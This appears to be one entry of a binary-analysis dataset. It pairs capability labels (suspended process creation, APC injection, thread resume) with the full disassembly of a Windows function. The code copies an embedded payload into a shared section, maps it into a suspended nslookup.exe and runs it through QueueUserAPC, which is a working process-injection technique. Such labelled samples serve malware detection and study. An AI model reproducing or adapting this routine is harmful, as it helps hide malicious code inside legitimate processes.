Function at 0x140001320
Capabilities:
Create process on windows
Create process suspended
Inject apc
Resume thread

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xe0
mov rax, qword [0x1400d0400]
xor rax, rsp
mov qword [rsp + 0xd8], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0xd0], 0
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x70], 0x68
mov eax, dword [0x1400d03d0]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], 0
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x40
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rsi, rax
mov rax, qword [0x1400d03d0]
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov edx, 0xf003f
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
mov rcx, qword [0x1400d03d0]
lea rdx, section..data
mov r8, rax
sub r8, rdx
jae 0x140001427
test rcx, rcx
je 0x14000162f
cmp rcx, 8
jb 0x140001504
cmp r8, 0x20
jb 0x140001504
cmp rcx, 0x20
jae 0x14000150c
xor r9d, r9d
jmp 0x140001551
test rcx, rcx
je 0x14000162f
lea r10, [rax + rcx]
dec r10
lea r9, [rcx + rdx]
dec r9
cmp rcx, 4
jb 0x140001457
add rdx, rcx
add rax, rcx
sub rdx, rax
cmp rdx, 0x10
jae 0x1400016fc
mov rax, r10
mov rdx, r9
mov r8, rcx
lea rcx, [r8 - 1]
mov r9, r8
and r9, 7
je 0x140001488
xor r10d, r10d
movzx r11d, byte [rdx]
dec rdx
mov byte [rax], r11b
dec rax
inc r10
cmp r9, r10
jne 0x140001470
sub r8, r10
cmp rcx, 7
jb 0x14000162f
neg r8
xor ecx, ecx
nop word [rax + rax]
movzx r9d, byte [rdx + rcx]
mov byte [rax + rcx], r9b
movzx r9d, byte [rdx + rcx - 1]
mov byte [rax + rcx - 1], r9b
movzx r9d, byte [rdx + rcx - 2]
mov byte [rax + rcx - 2], r9b
movzx r9d, byte [rdx + rcx - 3]
mov byte [rax + rcx - 3], r9b
movzx r9d, byte [rdx + rcx - 4]
mov byte [rax + rcx - 4], r9b
movzx r9d, byte [rdx + rcx - 5]
mov byte [rax + rcx - 5], r9b
movzx r9d, byte [rdx + rcx - 6]
mov byte [rax + rcx - 6], r9b
movzx r9d, byte [rdx + rcx - 7]
mov byte [rax + rcx - 7], r9b
add rcx, 0xfffffffffffffff8
cmp r8, rcx
jne 0x1400014a0
jmp 0x14000162f
mov rax, rdi
mov r8, rcx
jmp 0x14000158a
mov r9, rcx
and r9, 0xffffffffffffffe0
xor r8d, r8d
lea rdx, section..data
nop dword [rax]
movaps xmm0, xmmword [r8 + rdx]
movaps xmm1, xmmword [r8 + rdx + 0x10]
movups xmmword [rdi + r8], xmm0
movups xmmword [rdi + r8 + 0x10], xmm1
add r8, 0x20
cmp r9, r8
jne 0x140001520
cmp rcx, r9
je 0x14000162f
test cl, 0x18
je 0x140001791
mov r10, rcx
and r10, 0xfffffffffffffff8
lea r11, section..data
lea rdx, [r11 + r10]
add rax, r10
mov r8d, ecx
and r8d, 7
nop dword [rax]
mov rbx, qword [r9 + r11]
mov qword [rdi + r9], rbx
add r9, 8
cmp r10, r9
jne 0x140001570
cmp rcx, r10
je 0x14000162f
lea rcx, [r8 - 1]
mov r10, r8
and r10, 7
je 0x1400015ba
xor r9d, r9d
nop word [rax + rax]
movzx r11d, byte [rdx + r9]
mov byte [rax + r9], r11b
inc r9
cmp r10, r9
jne 0x1400015a0
add rdx, r9
add rax, r9
sub r8, r9
cmp rcx, 7
jb 0x14000162f
xor ecx, ecx
nop word cs:[rax + rax]
movzx r9d, byte [rdx + rcx]
mov byte [rax + rcx], r9b
movzx r9d, byte [rdx + rcx + 1]
mov byte [rax + rcx + 1], r9b
movzx r9d, byte [rdx + rcx + 2]
mov byte [rax + rcx + 2], r9b
movzx r9d, byte [rdx + rcx + 3]
mov byte [rax + rcx + 3], r9b
movzx r9d, byte [rdx + rcx + 4]
mov byte [rax + rcx + 4], r9b
movzx r9d, byte [rdx + rcx + 5]
mov byte [rax + rcx + 5], r9b
movzx r9d, byte [rdx + rcx + 6]
mov byte [rax + rcx + 6], r9b
movzx r9d, byte [rdx + rcx + 7]
mov byte [rax + rcx + 7], r9b
add rcx, 8
cmp r8, rcx
jne 0x1400015d0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
lea rcx, str.C:WindowsSystem32_nslookup.exe
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdx, qword [rsp + 0x50]
mov dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.api_ms_win_core_memory_l1_1_5.dll_MapViewOfFileNuma2]
mov rdx, qword [rsp + 0x58]
mov rcx, rax
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, rsi
call rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.1400017d0
nop
add rsp, 0xe0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
cmp rcx, 0x10
jae 0x140001707
xor r11d, r11d
jmp 0x140001743
mov r11, rcx
and r11, 0xfffffffffffffff0
mov rax, r11
neg rax
xor edx, edx
nop word cs:[rax + rax]
movups xmm0, xmmword [r9 + rdx - 0xf]
movups xmmword [r10 + rdx - 0xf], xmm0
add rdx, 0xfffffffffffffff0
cmp rax, rdx
jne 0x140001720
cmp rcx, r11
je 0x14000162f
test cl, 0xc
je 0x14000179f
mov rbx, rcx
and rbx, 0xfffffffffffffffc
mov r14, rbx
neg r14
mov rax, r10
sub rax, rbx
mov rdx, r9
sub rdx, rbx
mov r8d, ecx
and r8d, 3
neg r11
nop word cs:[rax + rax]
mov ebp, dword [r9 + r11 - 3]
mov dword [r10 + r11 - 3], ebp
add r11, 0xfffffffffffffffc
cmp r14, r11
jne 0x140001770
cmp rcx, rbx
jne 0x140001460
jmp 0x14000162f
and ecx, 0x1f
add rax, r9
add rdx, r9
jmp 0x140001507
and ecx, 0xf
sub r9, r11
sub r10, r11
jmp 0x140001457